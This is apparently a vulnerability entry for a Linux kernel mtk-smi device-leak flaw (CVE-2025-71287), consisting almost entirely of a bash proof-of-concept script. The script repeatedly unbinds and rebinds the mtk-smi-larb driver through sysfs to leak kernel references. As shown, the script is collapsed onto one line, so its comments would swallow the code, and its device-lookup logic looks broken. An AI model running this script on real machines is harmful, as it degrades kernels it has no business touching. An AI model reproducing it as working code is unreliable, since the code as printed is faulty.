Linux内核 mtk-smi 组件设备泄漏漏洞 (CVE-2025-71287)

#!/bin/bash # PoC Concept: Trigger device leak via bind/unbind operations # Target: CVE-2025-71287 (Linux Kernel mtk-smi) # This script attempts to trigger the reference count leak # by repeatedly unbinding and binding the mtk-smi-larb driver. DRIVER_SYSFS="/sys/bus/platform/drivers/mtk-smi-larb" # Find the actual device ID (example, depends on hardware) DEVICES=$(ls -1 $DRIVER_SYSFS/*.auto/ 2>/dev/null | head -n 1) if [ -z "$DEVICES" ]; then echo "Target device not found." exit 1 fi DEVICE_ID=$(basename $DEVICES) echo "Targeting device: $DEVICE_ID" for i in {1..1000} do # Unbind the driver (triggers remove path) echo "$DEVICE_ID" > "$DRIVER_SYSFS/unbind" 2>/dev/null # Bind the driver (triggers probe path) # If probe fails or defers, refcount leaks echo "$DEVICE_ID" > "$DRIVER_SYSFS/bind" 2>/dev/null done echo "Loop completed. Check kernel log for memory leak warnings or dmesg."